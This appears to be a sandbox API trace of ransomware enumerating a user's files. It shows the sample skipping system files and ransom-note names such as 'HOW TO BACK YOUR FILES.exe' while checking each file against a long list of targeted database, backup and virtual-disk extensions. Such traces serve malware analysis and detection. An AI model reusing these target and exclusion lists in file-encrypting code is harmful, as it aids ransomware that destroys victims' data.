	[0088.364] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.364] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.364] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c40f00, ftCreationTime.dwHighDateTime=0x1d4d213, ftLastAccessTime.dwLowDateTime=0x303c2830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303c2830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.364] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.364] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.364] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.364] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c40f00, ftCreationTime.dwHighDateTime=0x1d4d213, ftLastAccessTime.dwLowDateTime=0x303c2830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303c2830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.365] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.365] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.365] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.365] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.365] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ac83b0, ftCreationTime.dwHighDateTime=0x1d4cd38, ftLastAccessTime.dwLowDateTime=0x9b34ec00, ftLastAccessTime.dwHighDateTime=0x1d4d461, ftLastWriteTime.dwLowDateTime=0x9b34ec00, ftLastWriteTime.dwHighDateTime=0x1d4d461, nFileSizeHigh=0x0, nFileSizeLow=0x82fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="a9cFiPSOaV5.wav", cAlternateFileName="A9CFIP~1.WAV")) returned 1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="Apollon865.txt.exe") returned -1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2=".") returned 1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="..") returned 1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="windows") returned -1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="bootmgr") returned -1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="temp") returned -1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="pagefile.sys") returned -1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="boot") returned -1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="ids.txt") returned -1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="ntuser.dat") returned -1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="perflogs") returned -1
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2="MSBuild") returned -1
	[0088.365] lstrlenW (lpString="a9cFiPSOaV5.wav") returned 15
	[0088.365] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\*") returned 66
	[0088.365] lstrcpyW (in: lpString1=0x119e68a, lpString2="a9cFiPSOaV5.wav" | out: lpString1="a9cFiPSOaV5.wav") returned="a9cFiPSOaV5.wav"
	[0088.365] lstrlenW (lpString="a9cFiPSOaV5.wav") returned 15
	[0088.365] lstrlenW (lpString="Apollon865") returned 10
	[0088.365] lstrcmpiW (lpString1="PSOaV5.wav", lpString2="Apollon865") returned 1
	[0088.365] lstrlenW (lpString=".dll") returned 4
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2=".dll") returned 1
	[0088.365] lstrlenW (lpString=".lnk") returned 4
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2=".lnk") returned 1
	[0088.365] lstrlenW (lpString=".ini") returned 4
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2=".ini") returned 1
	[0088.365] lstrlenW (lpString=".sys") returned 4
	[0088.365] lstrcmpiW (lpString1="a9cFiPSOaV5.wav", lpString2=".sys") returned 1
	[0088.365] lstrlenW (lpString="a9cFiPSOaV5.wav") returned 15
	[0088.366] lstrlenW (lpString="bak") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.366] lstrlenW (lpString="ba_") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.366] lstrlenW (lpString="dbb") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.366] lstrlenW (lpString="vmdk") returned 4
	[0088.366] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.366] lstrlenW (lpString="rar") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.366] lstrlenW (lpString="zip") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.366] lstrlenW (lpString="tgz") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.366] lstrlenW (lpString="vbox") returned 4
	[0088.366] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.366] lstrlenW (lpString="vdi") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.366] lstrlenW (lpString="vhd") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.366] lstrlenW (lpString="vhdx") returned 4
	[0088.366] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.366] lstrlenW (lpString="avhd") returned 4
	[0088.366] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.366] lstrlenW (lpString="db") returned 2
	[0088.366] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.366] lstrlenW (lpString="db2") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.366] lstrlenW (lpString="db3") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.366] lstrlenW (lpString="dbf") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.366] lstrlenW (lpString="mdf") returned 3
	[0088.366] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.366] lstrlenW (lpString="mdb") returned 3
	[0088.367] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.367] lstrlenW (lpString="sql") returned 3
	[0088.367] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.367] lstrlenW (lpString="sqlite") returned 6
	[0088.367] lstrcmpiW (lpString1="V5.wav", lpString2="sqlite") returned 1
	[0088.367] lstrlenW (lpString="sqlite3") returned 7
	[0088.367] lstrcmpiW (lpString1="aV5.wav", lpString2="sqlite3") returned -1
	[0088.367] lstrlenW (lpString="sqlitedb") returned 8
	[0088.367] lstrcmpiW (lpString1="OaV5.wav", lpString2="sqlitedb") returned -1
	[0088.367] lstrlenW (lpString="xml") returned 3
	[0088.367] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.367] lstrlenW (lpString="$er") returned 3
	[0088.367] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.367] lstrlenW (lpString="4dd") returned 3
	[0088.367] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.367] lstrlenW (lpString="4dl") returned 3
	[0088.367] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.367] lstrlenW (lpString="^^^") returned 3
	[0088.367] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.367] lstrlenW (lpString="abs") returned 3
	[0088.367] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.367] lstrlenW (lpString="abx") returned 3
	[0088.367] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.367] lstrlenW (lpString="accdb") returned 5
	[0088.367] lstrcmpiW (lpString1="5.wav", lpString2="accdb") returned -1
	[0088.367] lstrlenW (lpString="accdc") returned 5
	[0088.367] lstrcmpiW (lpString1="5.wav", lpString2="accdc") returned -1
	[0088.367] lstrlenW (lpString="accde") returned 5
	[0088.367] lstrcmpiW (lpString1="5.wav", lpString2="accde") returned -1
	[0088.367] lstrlenW (lpString="accdr") returned 5
	[0088.367] lstrcmpiW (lpString1="5.wav", lpString2="accdr") returned -1
	[0088.367] lstrlenW (lpString="accdt") returned 5
	[0088.367] lstrcmpiW (lpString1="5.wav", lpString2="accdt") returned -1
	[0088.367] lstrlenW (lpString="accdw") returned 5
	[0088.368] lstrcmpiW (lpString1="5.wav", lpString2="accdw") returned -1
	[0088.368] lstrlenW (lpString="accft") returned 5
	[0088.368] lstrcmpiW (lpString1="5.wav", lpString2="accft") returned -1
	[0088.368] lstrlenW (lpString="adb") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.368] lstrlenW (lpString="adb") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.368] lstrlenW (lpString="ade") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.368] lstrlenW (lpString="adf") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.368] lstrlenW (lpString="adn") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.368] lstrlenW (lpString="adp") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.368] lstrlenW (lpString="alf") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.368] lstrlenW (lpString="ask") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.368] lstrlenW (lpString="btr") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.368] lstrlenW (lpString="cat") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.368] lstrlenW (lpString="cdb") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.368] lstrlenW (lpString="ckp") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.368] lstrlenW (lpString="cma") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.368] lstrlenW (lpString="cpd") returned 3
	[0088.368] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.368] lstrlenW (lpString="dacpac") returned 6
	[0088.368] lstrcmpiW (lpString1="V5.wav", lpString2="dacpac") returned 1
	[0088.368] lstrlenW (lpString="dad") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.369] lstrlenW (lpString="dadiagrams") returned 10
	[0088.369] lstrcmpiW (lpString1="PSOaV5.wav", lpString2="dadiagrams") returned 1
	[0088.369] lstrlenW (lpString="daschema") returned 8
	[0088.369] lstrcmpiW (lpString1="OaV5.wav", lpString2="daschema") returned 1
	[0088.369] lstrlenW (lpString="db-journal") returned 10
	[0088.369] lstrcmpiW (lpString1="PSOaV5.wav", lpString2="db-journal") returned 1
	[0088.369] lstrlenW (lpString="db-shm") returned 6
	[0088.369] lstrcmpiW (lpString1="V5.wav", lpString2="db-shm") returned 1
	[0088.369] lstrlenW (lpString="db-wal") returned 6
	[0088.369] lstrcmpiW (lpString1="V5.wav", lpString2="db-wal") returned 1
	[0088.369] lstrlenW (lpString="dbc") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.369] lstrlenW (lpString="dbs") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.369] lstrlenW (lpString="dbt") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.369] lstrlenW (lpString="dbv") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.369] lstrlenW (lpString="dbx") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.369] lstrlenW (lpString="dcb") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.369] lstrlenW (lpString="dct") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.369] lstrlenW (lpString="dcx") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.369] lstrlenW (lpString="ddl") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.369] lstrlenW (lpString="dlis") returned 4
	[0088.369] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.369] lstrlenW (lpString="dp1") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.369] lstrlenW (lpString="dqy") returned 3
	[0088.369] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.370] lstrlenW (lpString="dsk") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.370] lstrlenW (lpString="dsn") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.370] lstrlenW (lpString="dtsx") returned 4
	[0088.370] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.370] lstrlenW (lpString="dxl") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.370] lstrlenW (lpString="eco") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.370] lstrlenW (lpString="ecx") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.370] lstrlenW (lpString="edb") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.370] lstrlenW (lpString="epim") returned 4
	[0088.370] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.370] lstrlenW (lpString="fcd") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.370] lstrlenW (lpString="fdb") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.370] lstrlenW (lpString="fic") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.370] lstrlenW (lpString="flexolibrary") returned 12
	[0088.370] lstrcmpiW (lpString1="FiPSOaV5.wav", lpString2="flexolibrary") returned -1
	[0088.370] lstrlenW (lpString="fm5") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.370] lstrlenW (lpString="fmp") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.370] lstrlenW (lpString="fmp12") returned 5
	[0088.370] lstrcmpiW (lpString1="5.wav", lpString2="fmp12") returned -1
	[0088.370] lstrlenW (lpString="fmpsl") returned 5
	[0088.370] lstrcmpiW (lpString1="5.wav", lpString2="fmpsl") returned -1
	[0088.370] lstrlenW (lpString="fol") returned 3
	[0088.370] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.370] lstrlenW (lpString="fp3") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.371] lstrlenW (lpString="fp4") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.371] lstrlenW (lpString="fp5") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.371] lstrlenW (lpString="fp7") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.371] lstrlenW (lpString="fpt") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.371] lstrlenW (lpString="frm") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.371] lstrlenW (lpString="gdb") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.371] lstrlenW (lpString="gdb") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.371] lstrlenW (lpString="grdb") returned 4
	[0088.371] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.371] lstrlenW (lpString="gwi") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.371] lstrlenW (lpString="hdb") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.371] lstrlenW (lpString="his") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.371] lstrlenW (lpString="ib") returned 2
	[0088.371] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.371] lstrlenW (lpString="idb") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.371] lstrlenW (lpString="ihx") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.371] lstrlenW (lpString="itdb") returned 4
	[0088.371] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.371] lstrlenW (lpString="itw") returned 3
	[0088.371] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.371] lstrlenW (lpString="jet") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.372] lstrlenW (lpString="jtx") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.372] lstrlenW (lpString="kdb") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.372] lstrlenW (lpString="kexi") returned 4
	[0088.372] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.372] lstrlenW (lpString="kexic") returned 5
	[0088.372] lstrcmpiW (lpString1="5.wav", lpString2="kexic") returned -1
	[0088.372] lstrlenW (lpString="kexis") returned 5
	[0088.372] lstrcmpiW (lpString1="5.wav", lpString2="kexis") returned -1
	[0088.372] lstrlenW (lpString="lgc") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.372] lstrlenW (lpString="lwx") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.372] lstrlenW (lpString="maf") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.372] lstrlenW (lpString="maq") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.372] lstrlenW (lpString="mar") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.372] lstrlenW (lpString="marshal") returned 7
	[0088.372] lstrcmpiW (lpString1="aV5.wav", lpString2="marshal") returned -1
	[0088.372] lstrlenW (lpString="mas") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.372] lstrlenW (lpString="mav") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.372] lstrlenW (lpString="maw") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.372] lstrlenW (lpString="mdbhtml") returned 7
	[0088.372] lstrcmpiW (lpString1="aV5.wav", lpString2="mdbhtml") returned -1
	[0088.372] lstrlenW (lpString="mdn") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.372] lstrlenW (lpString="mdt") returned 3
	[0088.372] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.373] lstrlenW (lpString="mfd") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.373] lstrlenW (lpString="mpd") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.373] lstrlenW (lpString="mrg") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.373] lstrlenW (lpString="mud") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.373] lstrlenW (lpString="mwb") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.373] lstrlenW (lpString="myd") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.373] lstrlenW (lpString="ndf") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.373] lstrlenW (lpString="nnt") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.373] lstrlenW (lpString="nrmlib") returned 6
	[0088.373] lstrcmpiW (lpString1="V5.wav", lpString2="nrmlib") returned 1
	[0088.373] lstrlenW (lpString="ns2") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.373] lstrlenW (lpString="ns3") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.373] lstrlenW (lpString="ns4") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.373] lstrlenW (lpString="nsf") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.373] lstrlenW (lpString="nv") returned 2
	[0088.373] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.373] lstrlenW (lpString="nv2") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.373] lstrlenW (lpString="nwdb") returned 4
	[0088.373] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.373] lstrlenW (lpString="nyf") returned 3
	[0088.373] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.374] lstrlenW (lpString="odb") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.374] lstrlenW (lpString="odb") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.374] lstrlenW (lpString="oqy") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.374] lstrlenW (lpString="ora") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.374] lstrlenW (lpString="orx") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.374] lstrlenW (lpString="owc") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.374] lstrlenW (lpString="p96") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.374] lstrlenW (lpString="p97") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.374] lstrlenW (lpString="pan") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.374] lstrlenW (lpString="pdb") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.374] lstrlenW (lpString="pdm") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.374] lstrlenW (lpString="pnz") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.374] lstrlenW (lpString="qry") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.374] lstrlenW (lpString="qvd") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.374] lstrlenW (lpString="rbf") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.374] lstrlenW (lpString="rctd") returned 4
	[0088.374] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.374] lstrlenW (lpString="rod") returned 3
	[0088.374] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.375] lstrlenW (lpString="rodx") returned 4
	[0088.375] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.375] lstrlenW (lpString="rpd") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.375] lstrlenW (lpString="rsd") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.375] lstrlenW (lpString="sas7bdat") returned 8
	[0088.375] lstrcmpiW (lpString1="OaV5.wav", lpString2="sas7bdat") returned -1
	[0088.375] lstrlenW (lpString="sbf") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.375] lstrlenW (lpString="scx") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.375] lstrlenW (lpString="sdb") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.375] lstrlenW (lpString="sdc") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.375] lstrlenW (lpString="sdf") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.375] lstrlenW (lpString="sis") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.375] lstrlenW (lpString="spq") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.375] lstrlenW (lpString="te") returned 2
	[0088.375] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.375] lstrlenW (lpString="teacher") returned 7
	[0088.375] lstrcmpiW (lpString1="aV5.wav", lpString2="teacher") returned -1
	[0088.375] lstrlenW (lpString="tmd") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.375] lstrlenW (lpString="tps") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.375] lstrlenW (lpString="trc") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.375] lstrlenW (lpString="trc") returned 3
	[0088.375] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.376] lstrlenW (lpString="trm") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.376] lstrlenW (lpString="udb") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.376] lstrlenW (lpString="udl") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.376] lstrlenW (lpString="usr") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.376] lstrlenW (lpString="v12") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.376] lstrlenW (lpString="vis") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.376] lstrlenW (lpString="vpd") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.376] lstrlenW (lpString="vvv") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.376] lstrlenW (lpString="wdb") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.376] lstrlenW (lpString="wmdb") returned 4
	[0088.376] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.376] lstrlenW (lpString="wrk") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.376] lstrlenW (lpString="xdb") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.376] lstrlenW (lpString="xld") returned 3
	[0088.376] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.376] lstrlenW (lpString="xmlff") returned 5
	[0088.376] lstrcmpiW (lpString1="5.wav", lpString2="xmlff") returned -1
